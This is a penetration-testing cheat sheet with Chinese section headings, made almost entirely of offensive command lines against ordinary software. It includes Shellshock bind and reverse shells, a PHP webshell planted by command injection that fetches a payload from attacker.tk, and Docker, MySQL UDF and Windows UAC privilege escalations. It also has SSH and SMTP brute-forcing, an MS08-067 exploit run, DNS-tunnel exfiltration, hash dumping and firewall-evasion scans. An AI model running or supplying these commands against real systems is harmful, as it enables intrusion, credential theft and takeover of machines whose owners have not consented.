Tor Nat Traversal
# install to server $ apt-get install tor torsocks # bind ssh to tor service port 80 # /etc/tor/torrc SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion # ssh connect from client $ apt-get install torsocks $ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80
DNS暴力强迫与激烈
# http://ha.ckers.org/fierce/ $ ./fierce.pl -dns example.com $ ./fierce.pl –dns example.com –wordlist myWordList.txt
Metagoofil元数据收集工具
# http://www.edge-security.com/metagoofil.php #automate search engine document retrieval and analysis. It also has the capability to provide MAC # addresses, username listings, and more $ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
最好的NMAP扫描策略
# A best nmap scan strategy for networks of all sizes # Host Discovery - Generate Live Hosts List $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt # Port Discovery - Most Common Ports # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt # Port Discovery - Full Port Scans (UDP is very slow) $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt # Print TCPUDP Ports $ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}' $ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}' # Detect Service Version $ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt # Operating System Scan $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt # OS and Service Detect $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
Nmap - 避免防火墙的技术
# fragmentation $ nmap -f # change default MTU size number must be a multiple of 8 (8,16,24,32 etc) $ nmap --mtu 24 # Generates a random number of decoys $ nmap -D RND:10 [target] # Manually specify the IP addresses of the decoys $ nmap -D decoy1,decoy2,decoy3 etc. # Idle Zombie Scan, first t need to find zombie ip $ nmap -sI [Zombie IP] [Target IP] # Source port number specification $ nmap --source-port 80 IP # Append Random Data to scan packages $ nmap --data-length 25 IP # MAC Address Spoofing, generate different mac for host pc $ nmap --spoof-mac Dell/Apple/3Com IP
将服务器利用到Shellshock
# A tool to find and exploit servers vulnerable to Shellshock # https://github.com/nccgroup/shocker $ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose # cat file $ echo -e "HEAD /cgi-bin/status HTTP/1.1 User-Agent: () { :;}; echo $(</etc/passwd) Host: vulnerable Connection: close " | nc 192.168.56.118 80 # bind shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1 User-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh Host: vulnerable Connection: close " | nc 192.168.56.118 80 # reverse Shell $ nc -l -p 443 $ echo "HEAD /cgi-bin/status HTTP/1.1 User-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh Host: vulnerable Connection: close " | nc 192.168.56.118 80
Root与Docker
# get root with docker # user must be in docker group ek@victum:~/docker-test$ id uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker) ek@victum:~$ mkdir docker-test ek@victum:~$ cd docker-test ek@victum:~$ cat > Dockerfile FROM debian:wheezy ENV WORKDIR /stuff RUN mkdir -p $WORKDIR VOLUME [ $WORKDIR ] WORKDIR $WORKDIR << EOF ek@victum:~$ docker build -t my-docker-image . ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami # root ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'
通过DNS隧道绕过防火墙
# Tunneling Data and Commands Over DNS to Bypass Firewalls # dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host. # server (attacker) $ apt-get update $ apt-get -y install ruby-dev git make g++ $ gem install bundler $ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server $ bundle install $ ruby ./dnscat2.rb dnscat2> New session established: 16059 dnscat2> session -i 16059 # client (victum) # https://downloads.skullsecurity.org/dnscat2/ # https://github.com/lukebaggett/dnscat2-powershell $ dnscat --host <dnscat server_ip>
编译汇编代码
$ nasm -f elf32 simple32.asm -o simple32.o $ ld -m elf_i386 simple32.o simple32 $ nasm -f elf64 simple.asm -o simple.o $ ld simple.o -o simple
通过非交互式Shell转向内部网络
# generate ssh key with shell $ wget -O - -q "http://domain.tk/sh.php?cmd=whoami" $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N "" " $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" # add tempuser at attacker ps $ useradd -m tempuser $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys $ chmod 700 /home/tempuser/.ssh/authorized_keys $ chown -R tempuser:tempuser /home/tempuser/.ssh # create reverse ssh shell $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"
Patator是一个多功能的暴力斗士
# git clone https://github.com/lanjelot/patator.git /usr/share/patator # SMTP bruteforce $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
通过Gotty的Metasploit Web终端
$ service postgresql start $ msfdb init $ apt-get install golang $ mkdir /root/gocode $ export GOPATH=/root/gocode $ go get github.com/yudai/gotty $ gocode/bin/gotty -a 127.0.0.1 -w msfconsole # open in browser http://127.0.0.1:8080
使用POST RCE获取完整shell
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php' attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php' attacker:~$ curl http://victum.tk/shell.php?cmd=id # download reverse shell to server (phpshell.php) http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27 # run nc and execute phpshell.php attacker:~$ nc -nvlp 1337
Exiftool - 在文件中读取和写入元信息
$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz $ tar xzf Image-ExifTool-10.13.tar.gz $ cd Image-ExifTool-10.13 $ perl Makefile.PL $ make $ ./exiftool main.gif
在Win7上使用Admin reverse_shell获取SYSTEM
msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe #show account settings net user <login> # download psexec to kali https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx # upload psexec.exe file onto the victim machine with powershell script echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1 # upload danger.exe file onto the victim machine with powershell script echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1 # UAC bypass from precompiled binaries: https://github.com/hfiref0x/UACME # upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1 # create listener on kali nc -lvp 4444 # Use Akagi64 to run the danger.exe file with SYSTEM privileges Akagi64.exe 1 C:UsersUserDesktopdanger.exe # create listener on kali nc -lvp 4444 # The above step should give us a reverse shell with elevated privileges # Use PsExec to run the danger.exe file with SYSTEM privileges psexec.exe –i –d –accepteula –s danger.exe
在Win7上使用标准用户reverse_shell获取SYSTEM
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051 https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html https://www.exploit-db.com/exploits/37049/ # check the list of patches applied on the target machine # to get the list of Hotfixes installed, type in the following command. wmic qfe get wmic qfe | find "3057191" # Upload compile exploit to victim machine and run it https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe # by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe # https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c" # dump clear text password of the currently logged in user using wce.exe http://www.ampliasecurity.com/research/windows-credentials-editor/ wce -w # dump hashes of other users with pwdump7 http://www.heise.de/download/pwdump.html # we can try online hash cracking tools such crackstation.net
根据网站内容生成我们自己的dic文件
$ cewl -m 4 -w dict.txt http://site.url $ john --wordlist=dict.txt --rules --stdout
使用Nmap强制执行DNS记录
$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80 $ nmap --script dns-brute www.foo.com
使用Nmap识别WAF
$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102 $ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102 $ wafw00f www.example.com
MS08-067 - 不使用Metasploit
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205 $ searchsploit ms08-067 $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
使用SQUID代理进行Nikto扫描
$ nikto -useproxy http://squid_ip:3128 -h http://target_ip
在bash中劫持二进制文件的完整路径以执行您自己的代码
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
It works
通过MySQL以root权限运行本地权限升级
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu) $ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out'); user:~$ su - Password: user:~# whoami root root:~# id uid=0(root) gid=0(root) groups=0(root)
使用patator进行Bruteforce SSH登录
root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'
使用LD_PRELOAD为程序注入功能
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
利用OpenSSH用户枚举时间攻击
# https://github.com/c0r3dump3d/osueta $ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
使用ReDuh通过有效形成的HTTP请求创建TCP电路
# https://github.com/sensepost/reDuh # step 1 # upload reDuh.jsp to victim server $ http://192.168.10.50/uploads/reDuh.jsp # step 2 # run reDuhClient on attacker $ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp # step 3 # connecting to management port with nc $ nc -nvv 127.0.0.1 1010 # step 4 # forward localport to remote port with tunnel [createTunnel] 7777:172.16.0.4:3389 # step 5 # connect to localhost with rdp $ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777